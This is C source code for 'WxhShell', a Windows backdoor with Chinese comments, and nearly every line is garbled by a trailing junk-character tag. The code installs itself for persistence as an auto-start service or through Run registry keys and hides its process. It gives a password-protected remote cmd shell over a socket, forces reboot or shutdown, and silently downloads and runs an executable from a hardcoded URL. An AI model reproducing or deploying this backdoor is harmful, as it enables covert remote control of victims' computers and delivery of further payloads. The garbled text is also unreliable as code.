    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6!SW]#sD  
    else { O8~RfB  
    closesocket(wsh); f)mOeD*u|  
    ExitThread(0); 0Oa&vx  
    } -us:!p1T  
    break; [5]n,toAh  
    } /=g/{&3[a>  
  // 获取shell Yl =-j  
  case 's': { gwr?(:?  
    CmdShell(wsh); r7FJqd  
    closesocket(wsh); TfHL'u9B  
    ExitThread(0); ^SK!? M  
    break; *c 9 S.  
  } HPg%v |  
  // 退出 N`~f77G  
  case 'x': { F\^\,hy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +ViL"  
    CloseIt(wsh); E u<f  
    break; - ,?LS w  
    } Ze <)B *  
  // 离开 8Ltl32JSB[  
  case 'q': { [SD mdr1T$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *Q#oV}D_  
    closesocket(wsh); q]Kv.x]$R  
    WSACleanup(); bGkLa/?S  
    exit(1); 56 Z  
    break; E#,\[<pc  
        } U8-OQ:2.  
  } HD& Cp  
  } w@Asz9Lq%  
Z}{]/=h  
  // 提示信息 Xpp v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uf MQ?(,  
} CM%;/[WBxy  
  } ?J-\}X  
yL),G*[p\}  
  return; >TiE Y MW  
} mX!*|$bs  
sWB@'P:x  
// shell模块句柄 ([^#.x)hz  
int CmdShell(SOCKET sock) I@\D tQZ  
{ [!MS1v c;  
STARTUPINFO si; 9dm<(I}  
ZeroMemory(&si,sizeof(si)); \&~YFjB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n_:EWm$\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pe<T" [X  
PROCESS_INFORMATION ProcessInfo; ]0BX5Z'  
char cmdline[]="cmd"; R.DUfU"gp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \98N8p;,I  
  return 0; ><S(n#EB  
} o 0T1pGs'  
&SNH1b#>E  
// 自身启动模式 sT "q]  
int StartFromService(void) i+pQ 7wx  
{ c&,q`_t  
typedef struct 29CzG0?B  
{ A\W) uwyN  
  DWORD ExitStatus; tCm]1ZgRW  
  DWORD PebBaseAddress; f/s"2r  
  DWORD AffinityMask; 9|[uie  
  DWORD BasePriority; bub6{MQW8e  
  ULONG UniqueProcessId; zG8g}FrzG;  
  ULONG InheritedFromUniqueProcessId; NqGSoOjIO2  
}   PROCESS_BASIC_INFORMATION; 8!HB$vdw7  
cx ("F /Jm  
PROCNTQSIP NtQueryInformationProcess; 74N3wi5B  
TI\xCIH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n>7aZ1Qa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H?!DcUg CC  
CJ7S5   
  HANDLE             hProcess; q VI0?B x  
  PROCESS_BASIC_INFORMATION pbi; =9W\;xE S  
 rV4K@)~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sH_, P  
  if(NULL == hInst ) return 0; 3~V .  
Lis>Qr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 13w(Tf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4T; <`{]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e$2P/6k>  
O1)\!=& .  
  if (!NtQueryInformationProcess) return 0; T ,jb%uPcE  
sHMO9{[7H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VumM`SH  
  if(!hProcess) return 0; iK+Vla`}  
Jp%5qBS^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8UXRM :Z"  
%4Qs|CM)m  
  CloseHandle(hProcess); {qbe ye!  
:>r W`= e'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uv<_.Jq]  
if(hProcess==NULL) return 0; zx,9x*g  
So8 Dwz?  
HMODULE hMod; T:zM]%Xh  
char procName[255]; iRlpNsN  
unsigned long cbNeeded; }ijQ*ECdl  
IGT9}24  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SD{)Sq  
DW78SoyedZ  
  CloseHandle(hProcess); $evuL3GY#  
Kd5 8'$  
if(strstr(procName,"services")) return 1; // 以服务启动 `'sD(e  
^]'_Qbi]}  
  return 0; // 注册表启动 esQ$.L  
} "tl$JbRTY  
t*-c X  
// 主模块 x#N_h0[i  
int StartWxhshell(LPSTR lpCmdLine) yjMN>L'  
{ kd\Hj~*  
  SOCKET wsl; {j;` wN  
BOOL val=TRUE; |2@*?o"ll  
  int port=0; ; :q  
  struct sockaddr_in door; m4m|?  
4OQ,|Wm4G  
  if(wscfg.ws_autoins) Install(); h.F=Fhx/1  
k4hk* 0Jq  
port=atoi(lpCmdLine); +xU({/  
l"1D' Hk  
if(port<=0) port=wscfg.ws_port; ^3S&LC 1;|  
V$w lOMp  
  WSADATA data; =-X-${/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  7gZ}Qy  
Mqvo j7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f7][#EL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R LMn&j|?e  
  door.sin_family = AF_INET; e0(aRN{W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Cl9nmyf   
  door.sin_port = htons(port); ..+#~3es#y  
' h<(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )RvX}y-  
closesocket(wsl); g#^MO]pY  
return 1; Iz#4!E|<  
} .(.<  
!|i #g$  
  if(listen(wsl,2) == INVALID_SOCKET) { ;H.V-~:P)  
closesocket(wsl);  Owi/e  
return 1; ujS oWs  
} n=C"pH#  
  Wxhshell(wsl); m,!SD Cq  
  WSACleanup();  fFqYRK  
@sA!o[gH  
return 0; ?6&8-zt1?  
F]UH\1  
} :S_]!'H  
&JqaIJh   
// 以NT服务方式启动 O>1Cx4s5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J-,ocO  
{ 3^~J;U!3  
DWORD   status = 0; \#t)B J2  
  DWORD   specificError = 0xfffffff; X(MS!RV  
'!8-/nlv1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ocJG4#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RK &>!^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *wj5(B<y  
  serviceStatus.dwWin32ExitCode     = 0; 3oMHy5  
  serviceStatus.dwServiceSpecificExitCode = 0; ZIc.MNq  
  serviceStatus.dwCheckPoint       = 0; _UP fqC ?  
  serviceStatus.dwWaitHint       = 0; o!K DeY  
dCTyfXou[=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OQB7C0+ &  
  if (hServiceStatusHandle==0) return; HNv~ZAzBG-  
Cd"{7<OyM4  
status = GetLastError(); wN4#j}C  
  if (status!=NO_ERROR) ]lBCK  
{ dp'[I:X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ceJi|`F  
    serviceStatus.dwCheckPoint       = 0; ?X6}+  
    serviceStatus.dwWaitHint       = 0; ]4en |Aq  
    serviceStatus.dwWin32ExitCode     = status; n"6L\u  
    serviceStatus.dwServiceSpecificExitCode = specificError; XDPgl=~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (H !iK,R  
    return; l[ $bn!_ e  
  } & rab,I"  
1VlU'qY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fM4B.45j  
  serviceStatus.dwCheckPoint       = 0; !Vw1w1  
  serviceStatus.dwWaitHint       = 0; ChG7>4:\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jd-]q2fQ|  
} -LszaMR}  
xi(\=LbhY  
// 处理NT服务事件,比如:启动、停止 o25rKC=o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Lm2) 3;ei  
{ UWvVYdy7  
switch(fdwControl) ]{\ttb%GX  
{ [A!w  
case SERVICE_CONTROL_STOP: ;ISnI  
  serviceStatus.dwWin32ExitCode = 0; T TN!$?G3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9"]#.A^Q*  
  serviceStatus.dwCheckPoint   = 0; ucx02^uA  
  serviceStatus.dwWaitHint     = 0; }}QR'  
  { 3>@VPMi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zZ8*a\  
  } qrlC U4  
  return; 9DNp  
case SERVICE_CONTROL_PAUSE: SI+Uq(k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KRC"3Qt  
  break; oIj=ba(n1  
case SERVICE_CONTROL_CONTINUE: X&?s:A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @i;)`k5b  
  break; F. SB_S<'  
case SERVICE_CONTROL_INTERROGATE: j/d}B_2  
  break; y]fI7nu&  
}; gE#'Zv{7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KZw~Ch}b9  
} g gx_h  
+wmG5!%$|  
// 标准应用程序主函数 P8,Ps+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4>>=TJ!M  
{ 2.Qz"YDh =  
?zf3Fn2y  
// 获取操作系统版本 zR^Gy"  
OsIsNt=GetOsVer(); gYc]z5`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Oti*"dV\::  
wc4BSJa,19  
  // 从命令行安装 ]2wxqglh)  
  if(strpbrk(lpCmdLine,"iI")) Install(); F^NK"<tW  
<]M. K3>  
  // 下载执行文件 Wjw ,LwB  
if(wscfg.ws_downexe) { aIV / c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) - |g"q|  
  WinExec(wscfg.ws_filenam,SW_HIDE); '% QCNO/  
} vyIH<@@p7  
E>|X'I?r^  
if(!OsIsNt) { *(F`NJ 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 WYUDD_m  
HideProc(); mOsp~|d  
StartWxhshell(lpCmdLine); =Nxkr0])!  
} WQ.0}n}d  
else 1*TbgxS~W  
  if(StartFromService()) WK>|IgK  
  // 以服务方式启动 <ukBAux,D  
  StartServiceCtrlDispatcher(DispatchTable); >Q\Kc=Q|  
else {7OHEArv  
  // 普通方式启动 c0gVW~I1  
  StartWxhshell(lpCmdLine); ;mG*Rad  
`.W2t5 Y  
return 0; `x`[hJ?i  
} DVL-qt\;n  
E5bVCAz  
]]O( IC  
|h\7Q1,1~2  
=========================================== I4X9RYB6c  
"%gsGtS  
eyCZ[SC  
h^yqrDyJ  
`GCoi ?n7  
"tzu.V-  
" 9Rnypzds  
}aVZ\PDg  
#include <stdio.h> 3 !@  
#include <string.h> "d_wu#fO)  
#include <windows.h> YNEwX$)M,B  
#include <winsock2.h> JNfL jfE)<  
#include <winsvc.h> ) CP  
#include <urlmon.h> cQU;PH]  
-Z"4W  
#pragma comment (lib, "Ws2_32.lib") N]A# ecm  
#pragma comment (lib, "urlmon.lib") (jM0YtrD  
[>O!~  
#define MAX_USER   100 // 最大客户端连接数 CJ :V%|  
#define BUF_SOCK   200 // sock buffer !qt2,V  
#define KEY_BUFF   255 // 输入 buffer ::|~tLFu  
qz-QVY,  
#define REBOOT     0   // 重启 2X?GEO]/4  
#define SHUTDOWN   1   // 关机 KUAzJ[>  
TN2Ln?[xU  
#define DEF_PORT   5000 // 监听端口 ?nd: :O  
hy5[ L`B  
#define REG_LEN     16   // 注册表键长度 5I622d  
#define SVC_LEN     80   // NT服务名长度 s<9g3Gh  
6l]X{A.  
// 从dll定义API A9$x8x*Lt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o$rjGa l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |1U_5w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *2G6Q g F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %=^/^[D  
NBYJ'nA%;f  
// wxhshell配置信息   Q.g/  
struct WSCFG { =*2,^j  
  int ws_port;         // 监听端口 P0m3IH)  
  char ws_passstr[REG_LEN]; // 口令 xh;V4zK@`  
  int ws_autoins;       // 安装标记, 1=yes 0=no e5|lz.o;  
  char ws_regname[REG_LEN]; // 注册表键名 #).$o~1ht!  
  char ws_svcname[REG_LEN]; // 服务名 fjh|V9H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C$OVN$lL`8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2%W;#oi?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H3A$YkK [  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gxv^=;2C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m\L`$=eO8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3e_tT8  
q< JCgO-F<  
}; $TI^8 3  
i+Z)`  
// default Wxhshell configuration O$,F ga  
struct WSCFG wscfg={DEF_PORT, )U@9dV7u  
    "xuhuanlingzhe", utlr|m Xc  
    1, u\]EG{w(  
    "Wxhshell", ! _S#8"  
    "Wxhshell", ~||0lj.D  
            "WxhShell Service", 6hxZ5&;(*  
    "Wrsky Windows CmdShell Service", a+w2cN'  
    "Please Input Your Password: ", v/+ <YU  
  1, Re$h6sh  
  "http://www.wrsky.com/wxhshell.exe", G;Li!H  
  "Wxhshell.exe" Nd~B$venh  
    }; KGz Nj%  
1 /. BP  
// 消息定义模块 A~?M`L>B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,i2-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i\i%Wi Rl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U\KMeaF5e-  
char *msg_ws_ext="\n\rExit."; M.W X&;>  
char *msg_ws_end="\n\rQuit."; qX\*l m/l  
char *msg_ws_boot="\n\rReboot..."; 3U[O :  
char *msg_ws_poff="\n\rShutdown..."; U"PcNQy  
char *msg_ws_down="\n\rSave to "; (2g a: }K  
)4yP(6|lx  
char *msg_ws_err="\n\rErr!"; 8dGsV5"*  
char *msg_ws_ok="\n\rOK!"; BI1M(d#1L"  
,>;21\D  
char ExeFile[MAX_PATH]; GWA"!~Hu  
int nUser = 0; I Dohv[#  
HANDLE handles[MAX_USER]; *WwM"NFHDd  
int OsIsNt; 3Z!%td5n  
!GcBNQ1p+7  
SERVICE_STATUS       serviceStatus; _olQ;{ U:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y>I2}P  
tW\yt~q,  
// 函数声明 "r9Rr_, >  
int Install(void); w'S,{GW  
int Uninstall(void); ;J%:DD  
int DownloadFile(char *sURL, SOCKET wsh); s|=lKa]d!"  
int Boot(int flag); Q Be6\oq  
void HideProc(void); d>QFmsh-  
int GetOsVer(void); HBlk~eZ  
int Wxhshell(SOCKET wsl); 50,'z?-_  
void TalkWithClient(void *cs); !nvwRQ  
int CmdShell(SOCKET sock); L5&M@YTH  
int StartFromService(void); 1- 2hh)  
int StartWxhshell(LPSTR lpCmdLine); n(: <pz  
mUYRioNj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ] ; w 2YR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P`Np +E#I  
%Bs. XW,  
// 数据结构和表定义 2~4:rEPJ:  
SERVICE_TABLE_ENTRY DispatchTable[] = ]3KeAJ  
{ }A)\bffH  
{wscfg.ws_svcname, NTServiceMain}, 3BFOZV+  
{NULL, NULL} e;]tO-Nu  
}; =rjU=3!&(  
"#Rh\DQ  
// 自我安装 O0  'iq^g  
int Install(void) &V].,12x  
{ yW_yHSx;  
  char svExeFile[MAX_PATH]; $J[( 3  
  HKEY key; iC"iR\Qu  
  strcpy(svExeFile,ExeFile); vsY?q8+P  
WtT;y|W  
// 如果是win9x系统,修改注册表设为自启动 8=8 hbdy;  
if(!OsIsNt) { lx)^wAO4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @X==[gQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q+ax]=w  
  RegCloseKey(key); :U6` n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e4z`:%vy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q6h+.  
  RegCloseKey(key); <kh.fu@.Q  
  return 0; -F5B Jk  
    } honh 'j  
  } X1j8tg  
} iT]t`7R  
else { Rh>B# \  
$7x2TiAL  
// 如果是NT以上系统,安装为系统服务 mRk)5{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +QChD*  
if (schSCManager!=0) #:K=zV\  
{ F/5&:e?( )  
  SC_HANDLE schService = CreateService 77>oQ~q  
  ( +VIA@`4  
  schSCManager, ^Q/*on;A,/  
  wscfg.ws_svcname, je] DR~  
  wscfg.ws_svcdisp, '&IGdB I  
  SERVICE_ALL_ACCESS, EVmBLH-a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X/5m}-6d]  
  SERVICE_AUTO_START, `#""JTA"  
  SERVICE_ERROR_NORMAL, i]8O?Ab>?  
  svExeFile, zakhJ  
  NULL, 2W AeSUX  
  NULL, .-gJS-.c  
  NULL, D,#UJPyg  
  NULL, H$![]Ujq  
  NULL ,i>`Urd  
  ); Bf{u:TCK  
  if (schService!=0) 7;>|9k  
  { q lc@$  
  CloseServiceHandle(schService); !eX0Q 2  
  CloseServiceHandle(schSCManager); i%2u>N i^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GVY7`k"km  
  strcat(svExeFile,wscfg.ws_svcname); Q,U0xGGz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D An2Pqf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J8ni}\f  
  RegCloseKey(key); 4cjfn'x  
  return 0; fdl.3~.C  
    } uwe#& V-  
  } dCC*|b8h  
  CloseServiceHandle(schSCManager); & 3#7>oQ  
} I8xdE(o8+  
} ( t&RFzE?G  
a5*r1,  
return 1; pMfb(D"  
} (W1 $+X  
">V1II 7  
// 自我卸载 >|f"EK}m!  
int Uninstall(void) l\<.*6r  
{ fO<40!%9cQ  
  HKEY key; gOF^?M11x  
p9v:T1 ?  
if(!OsIsNt) { +nYFLe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8>KUx]AN  
  RegDeleteValue(key,wscfg.ws_regname); 1lw%RM  
  RegCloseKey(key); t"=5MaQk-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )+ .=z  
  RegDeleteValue(key,wscfg.ws_regname); yRXML\Ge  
  RegCloseKey(key); X%Ok ">  
  return 0; Be6Yh~m  
  } mU5Ox4>&9  
} t.P@Ba^  
} "\4W])30  
else { =2\2Sp  
+O}Ik.w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F!+1w(b:  
if (schSCManager!=0) n !)$e;l  
{ 3H2~?CaJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S<Dbv?  
  if (schService!=0) ;V,L_"/X  
  { eL3 _Lz  
  if(DeleteService(schService)!=0) { zxR]+9Zh  
  CloseServiceHandle(schService); j=r1JV @  
  CloseServiceHandle(schSCManager); IeYYG^V<A  
  return 0; g~hMOI?KK^  
  } 2` o @L  
  CloseServiceHandle(schService); B+W7zv  
  } oE ' P  
  CloseServiceHandle(schSCManager); 10S I&O  
} ?I+L  
} 8dE0y P  
qTJhYxm  
return 1; (&}[2pb!  
} C4+DZ<pE  
U5Hi9fe  
// 从指定url下载文件 ]]j^  
int DownloadFile(char *sURL, SOCKET wsh) yE}\4_0I/  
{ &8$v~  
  HRESULT hr; *5)UIRd  
char seps[]= "/"; >Hf{Mx{<  
char *token; \jfK']P/H  
char *file; (/:m*x*6  
char myURL[MAX_PATH]; 'Lu<2=a~  
char myFILE[MAX_PATH]; eiMP:  
*yBVZD|?H  
strcpy(myURL,sURL); %8*:VR  
  token=strtok(myURL,seps); PaCC UF  
  while(token!=NULL) BA@E  
  { 56;u 7  
    file=token; Oe5rRQ$O  
  token=strtok(NULL,seps); sq|\!T  
  } h/EIFve  
s~M$Wo8  
GetCurrentDirectory(MAX_PATH,myFILE); 8~Cmn%  
strcat(myFILE, "\\"); VYG@_fd!x  
strcat(myFILE, file); <6UXk[y  
  send(wsh,myFILE,strlen(myFILE),0); PUR,r%K`  
send(wsh,"...",3,0); 63l3WvoK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |  0  
  if(hr==S_OK) }UPC~kC+Z  
return 0; t^01@ejM+  
else 3](hMk,}  
return 1; /.]u%;%r[  
?+zFa2J  
} &5W;E+Pub  
T}fo  
// 系统电源模块 3x~7N  
int Boot(int flag) P~a@{n*8  
{ Q(& @ra!{  
  HANDLE hToken; Ark]>4x>  
  TOKEN_PRIVILEGES tkp; 8T1`9ITl:  
&%2^B[{  
  if(OsIsNt) { lHM+<Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XvI~"}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6 f*:;  
    tkp.PrivilegeCount = 1; `2f/4]fY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z9vMz3^N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $@PruY3[  
if(flag==REBOOT) { ;\K]~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TiD#t+g  
  return 0; WARiw[  
} mG[jR*JW  
else { tVG;A&\,6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i-|N6J  
  return 0; 7 yE\,  
} z~t0l  
  } VeQGdyhY  
  else { \5a.JfF  
if(flag==REBOOT) { Mt.Cj;h@^[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /43l}6I  
  return 0; e]~p:  
} Ph^1Ko" 2  
else { u+8"W[ZULq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $gr>Y2i  
  return 0; pS$9mzY  
} ,C,nNaW  
} NK0'\~7&  
h$8h@2%  
return 1; 6{6hz 8  
} &~*](Ma  
(WHg B0{  
// win9x进程隐藏模块 OlT8pG5Oa  
void HideProc(void) U p@^C"  
{ eha|cAq  
+u|"q+p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0/v]YK.  
  if ( hKernel != NULL ) Z5t^D|  
  { _y4O2n[e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F0!Z1S0g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9"#C%~=+  
    FreeLibrary(hKernel); !q&Td  
  } ,:mL\ZED  
`,}7LfY  
return; -))S  
} b-ss^UL  
==Egy:<:Q  
// 获取操作系统版本 '&cH,yc;b  
int GetOsVer(void) lp(2"$nQ  
{ 'vNju1sfk  
  OSVERSIONINFO winfo; B@*b 9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r R6}  
  GetVersionEx(&winfo); wN.S]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~u&gU1}  
  return 1; YZ>L_$:q  
  else x$q}lJv_  
  return 0; X):7#x@uy  
} XP)^81i|  
9)wYSz'  
// 客户端句柄模块 sSU|N;"Y  
int Wxhshell(SOCKET wsl) ~61b^L}$  
{ d.? }>jl  
  SOCKET wsh; #@oB2%&X?  
  struct sockaddr_in client; VpJKH\)Rt(  
  DWORD myID; b? o  
p6%Vf  
  while(nUser<MAX_USER) O14QlIk  
{ Z"VP<-  
  int nSize=sizeof(client); u\Cf@}5(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U)G.Bst  
  if(wsh==INVALID_SOCKET) return 1; b- - tl@H  
V;eaQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); opH!sa@U  
if(handles[nUser]==0) *;@wPT  
  closesocket(wsh); 1 !_p  
else 1r=cCM  
  nUser++; nF'YG+;|@  
  } P!]uJ8bi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  ,]EhDW6  
F `7 v  
  return 0; g ` s|]VNt  
} 0 h A:=r  
>Lo\?X~  
// 关闭 socket >e {1e  
void CloseIt(SOCKET wsh) q;,lv3I  
{ bkd`7(r  
closesocket(wsh); u@dvFzc  
nUser--; <<!fA ><W  
ExitThread(0); 9)7$UQY  
} AJ%E.+@=r  
" AUSgVE+h  
// 客户端请求句柄 u9~5U9]O%6  
void TalkWithClient(void *cs) A1/@KC"&{G  
{ :&wb+tV  
xnMcxys~  
  SOCKET wsh=(SOCKET)cs;  !64Tx  
  char pwd[SVC_LEN]; 0Agse)  
  char cmd[KEY_BUFF]; <yipy[D  
char chr[1]; {_N9<i{T  
int i,j; wPM&N@Pf  
s)- ;74(  
  while (nUser < MAX_USER) { wj6u,+  
Hk*1Wrs*  
if(wscfg.ws_passstr) { e' M&Eh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KhND pwO"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K.xABKPVc  
  //ZeroMemory(pwd,KEY_BUFF); y.lWyH9  
      i=0; |OJWQU![by  
  while(i<SVC_LEN) { (=^KP7  
"jAd.x?X7e  
  // 设置超时 bg Ux&3  
  fd_set FdRead; $.vm n,:.  
  struct timeval TimeOut; 3q73L<f  
  FD_ZERO(&FdRead); *|S6iSn9R!  
  FD_SET(wsh,&FdRead); {R ),7U8  
  TimeOut.tv_sec=8; 0Ncpi=6  
  TimeOut.tv_usec=0; @e<( o UE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k4iiL<|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yU!1q}L!  
G$f%]A1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I4"p]>Y"  
  pwd=chr[0]; qS\#MMsTd  
  if(chr[0]==0xd || chr[0]==0xa) { kL1<H%1'  
  pwd=0; ?5EH/yV;  
  break; =|-= 4.b+|  
  } l^&#9d  
  i++; B,\VLX  
    } / :F^*]  
M/6Z,oOU  
  // 如果是非法用户,关闭 socket 6 ]x?2P%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .yy-jf/  
} ?C[?dg{n  
 E4eX fu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 14 & KE3`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^i%S}VK  
GS>[A b+  
while(1) { d#v@NuO6 h  
CIIjZ)T  
  ZeroMemory(cmd,KEY_BUFF); T`!R ki%~  
VVDN3  
      // 自动支持客户端 telnet标准   @F 5Af/  
  j=0; *U^Y@""a  
  while(j<KEY_BUFF) { 1x|3|snz)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &MSU<S?1  
  cmd[j]=chr[0]; lBbb7*Ljt<  
  if(chr[0]==0xa || chr[0]==0xd) { P)K $+oo  
  cmd[j]=0; ]QaKXg)3q  
  break; `sKyvPtG  
  } m'N AM%$}J  
  j++;  )bF l-  
    } yus3GqPI  
a6LL]_&g  
  // 下载文件 n- 2X?<_Z  
  if(strstr(cmd,"http://")) { I&+.IK_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w&?XsO@0W  
  if(DownloadFile(cmd,wsh)) nW)+-Wxq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5 .^meU  
  else Lyhuyb)k5^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U:TkO=/>:  
  } 6axxyh%  
  else { (S!UnBb&  
`2 <:$]  
    switch(cmd[0]) { itzUq,T  
  FC1rwXL(  
  // 帮助 jUm-!SK}q  
  case '?': { =R=V  
